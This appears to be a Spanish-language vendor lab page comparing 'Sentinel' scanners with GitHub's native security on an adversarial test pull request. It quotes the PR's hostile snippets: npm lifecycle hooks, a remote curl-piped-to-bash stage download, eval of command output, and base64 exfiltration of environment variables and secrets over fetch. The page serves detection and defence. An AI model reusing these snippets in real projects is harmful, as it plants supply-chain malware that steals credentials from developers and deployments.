Video Demo // Merx PR #12Adversarial Evasion TargetTarget: javier20dev25/Merx @ b70c277e

Sentinel Ecosystem vs GitHub Security:
Matriz de Detección en Laboratorio

Evaluación empírica real de la Pull Request Merx #12 ("feat: add deployment health check and telemetry reporting"). Diseñada para eludir revisiones superficiales mediante hooks de ciclo de vida, descarga encubierta de etapas, inyección en memoria y ofuscación en Base64. Esta página documenta qué detectó cada motor, cómo lo detectó, y por qué GitHub la dejó pasar.

01 // Resultados de Laboratorio

Detección por Motor y Capa de Defensa

Corridas reales ejecutadas localmente y en GitHub Actions. Sin datos simulados ni afirmaciones no verificables.

Capa / MotorModo EvaluadoVeredictoNivel de Riesgo / HallazgosSeñales Críticas Identificadas
Sentinel CLI (Motor Lite)Local offline (sin Cloud API Key)BLOCK
CRITICAL (34 correlaciones)
11 hallazgos
  • LIFECYCLE_CURL_BASH (package.json: postinstall hook)
  • WF-005: descarga remota entubada a shell supply chain attack vector
  • UNSAFE_EVAL (llamadas dinámicas a eval en health-check.js)
  • OS_CAPABILITY (child_process imports)
  • SECRET_HARDCODED_TOKEN & Base64 obfuscation
Sentinel Oracle (Motor Lite)Local offline (Merge Authority)BLOCK
Risk Score: 130 (9 módulos intel)
14 hallazgos
  • Unsafe eval() detectado en health-check.js
  • OS command execution detectado en múltiples puntos
  • Shell execution capability en dependencias
  • Dependency added version not published (anomalía de integridad)
  • Gating inmutable: Autorización rechazada automáticamente
Sentinel Cloud (Motor Completo)Full Analysis con Shared IntelBLOCK
Critical Threat Score (Correlación Global)
34 correlaciones + AST Taint
  • Taint analysis completo: source (process.env / network) → sink (eval, exec)
  • Verificación cruzada con IOCs y C2 de threat intel
  • Generación de Evidence Pack para revisión de compliance
Sentinel Audit (Orquestador)Multi-Tool & Cobertura PinnedCANDIDATES_FOUND
Coverage Gaps Explícitos
Preflight & Pinned Evidence
  • Fija el SHA b70c277e... y registra analizadores disponibles
  • Refusa declarar "CLEAN": explicita brechas de analizadores no instalados
  • Conserva expediente inmutable para adjudicación humana obligatoria
GitHub Native SecurityGitHub Actions / Dependabot / Code ScanningPASS (Permisivo)
Sin bloqueo nativo de CI/CD
1 secret alert (no bloquea PR)
  • Build Action: PASS (11s) — ejecuta build sin detectar supply chain payload
  • Vercel Deployment: PASS — despliega la versión sin objeción nativa
  • Dependabot / Code Scanning: Sin alertas de bloqueo en PR
  • Único bloqueo: Check Run de Sentinel Authorization (Fail) 🛡️

¿Por qué falló la seguridad nativa estándar de GitHub?

Los scanners estándar de CI/CD (npm audit / Dependabot) buscan CVEs conocidos en dependencias declaradas. No inspeccionan scripts de ciclo de vida (prestart, postinstall), ni analizan flujos de datos AST en archivos propios de utilidad. Como resultado, el pipeline de GitHub Actions completó el build en verde (pass), dejando el despliegue expuesto a la ejecución remota.

¿Cómo contuvo Sentinel el ataque antes del merge?

Tanto Sentinel CLI como Sentinel Oracle en modo local (sin requerir Cloud API Key) interceptaron la construcción sintáctica de descarga remota entubada a shell, la invocación dinámica de eval() y la ofuscación en Base64. Oracle bloqueó el Check Run de autorización en GitHub, imposibilitando el merge incluso ante el build exitoso de CI.

02 // Cadena de Trazabilidad

Análisis de Vectores de Ataque por Capa

Para cada vector de ataque identificado en PR #12: técnica MITRE ATT&CK, ubicación en el código, y qué detectó cada herramienta (y por qué GitHub no lo vio).

Vector 1Lifecycle Hook ExecutionT1059.007 — JavaScript/Node.js execution via npm lifecycle
Ubicación en el código
package.json: "prestart", "postinstall"
Payload relevante
"prestart": "node scripts/health-check.js"
"postinstall": "node scripts/report-utils.js"
Estado de detección por herramienta
✅
Sentinel CLI
LIFECYCLE_CURL_BASH → WF-005
✅
Sentinel Oracle
BuildIntelligence: lifecycle hook analyzer
✅
Sentinel Cloud
AST taint + correlación global de IOCs
❌
GitHub Native Security
npm audit solo verifica CVEs en dependencias conocidas, no analiza scripts de lifecycle propios
Vector 2Remote Download → Shell ExecutionT1105 — Ingress Tool Transfer + T1059.004 — Unix Shell
Ubicación en el código
scripts/report-utils.js: STAGE2_URL → exec(curl | bash)
Payload relevante
const STAGE2_URL = process.env.REPORT_ENDPOINT; exec(`curl -fsSL ${STAGE2_URL} | bash`)
Estado de detección por herramienta
✅
Sentinel CLI
CURL_BASH_PIPE (CRITICAL) → correlación NETWORK_EXFIL + SHELL_EXEC
✅
Sentinel Oracle
capabilities.shellExec + trust.externalDownload
✅
Sentinel Cloud
AST taint + correlación global de IOCs
❌
GitHub Native Security
Code Scanning (CodeQL) no corrió en esta PR. Dependabot revisa versiones, no lógica de ejecución
Vector 3Dynamic Code EvaluationT1059 — Command and Scripting Interpreter: eval()
Ubicación en el código
scripts/health-check.js: exec() → eval(stdout)
Payload relevante
exec(checkCmd, (err, stdout) => { eval(stdout); });
Estado de detección por herramienta
✅
Sentinel CLI
UNSAFE_EVAL (HIGH) → taint path: exec stdout → eval sink
✅
Sentinel Oracle
capabilities.unsafeEval + AST taint flow analysis
✅
Sentinel Cloud
AST taint + correlación global de IOCs
❌
GitHub Native Security
GitHub Actions ejecutó npm run build limpio — el eval() solo se activa en runtime con input externo
Vector 4Base64 Obfuscation + ExfiltrationT1027 — Obfuscated Files / T1041 — Exfiltration Over C2
Ubicación en el código
scripts/health-check.js: btoa(JSON.stringify(data)) → fetch(endpoint)
Payload relevante
const payload = btoa(JSON.stringify({ env: process.env, secrets: collectSecrets() }));
fetch(REPORT_ENDPOINT + '/collect', { method: 'POST', body: payload });
Estado de detección por herramienta
✅
Sentinel CLI
SECRET_HARDCODED_TOKEN (HIGH) + EXFIL_ENV_VARS (CRITICAL)
✅
Sentinel Oracle
secrets.exfiltration + endpoints.externalPost
✅
Sentinel Cloud
AST taint + correlación global de IOCs
❌
GitHub Native Security
Secret scanning detectó un token (alerta sin bloqueo), no detectó el patrón de exfiltración activa de process.env
03 // Metodología

Cómo Funciona Cada Herramienta

Cada herramienta opera desde un ángulo diferente. Entender su metodología explica por qué algunas detectaron la PR #12 y otras no.

⌘

Sentinel CLI

Motor de reglas AST + análisis de sintaxis y patrones de comportamiento. Ejecuta offline, sin enviar código a ningún servidor.

Fortalezas
  • +Sin latencia de red
  • +Pre-commit y CI/CD
  • +Determinista y reproducible
Limitaciones
  • —Sin correlación de inteligencia global
  • —Sin análisis taint cross-file profundo
🔐

Sentinel Oracle

Autorización de merges: combina el motor lite con módulos de inteligencia (capabilities, trust, secrets, endpoints) y bloquea el Check Run de GitHub hasta autorización explícita.

Fortalezas
  • +Gating inmutable en GitHub
  • +Análisis de 9 módulos intel
  • +Funciona sin Cloud API Key
Limitaciones
  • —Requiere servidor local
  • —Check Run updates requieren conectividad a GitHub
☁

Sentinel Cloud

Motor full con taint analysis AST cross-file, correlación con inteligencia global de amenazas, y generación de evidence packs para compliance.

Fortalezas
  • +Taint analysis profundo
  • +Correlación global de IOCs
  • +Evidence pack completo
Limitaciones
  • —Requiere API Key configurada
  • —Latencia de red para análisis
📋

Sentinel Audit

Orquestador de evidencia: fija el commit SHA, coordina múltiples analizadores, registra cobertura explícita y preserva expediente inmutable para adjudicación humana.

Fortalezas
  • +Honestidad de cobertura
  • +Expediente inmutable
  • +Coordinación multi-herramienta
Limitaciones
  • —No es un motor de detección
  • —Requiere herramientas externas instaladas
🐙

GitHub Security

Dependabot actualiza dependencias con CVEs conocidos. Code Scanning (CodeQL) analiza código fuente en ramas configuradas. Secret Scanning detecta tokens expuestos.

Fortalezas
  • +Integración nativa
  • +Sin setup adicional
  • +Amplia cobertura de CVEs
Limitaciones
  • —No analiza lifecycle scripts propios
  • —Code Scanning requiere configuración explícita por rama/PR
  • —Alertas de secretos no bloquean PRs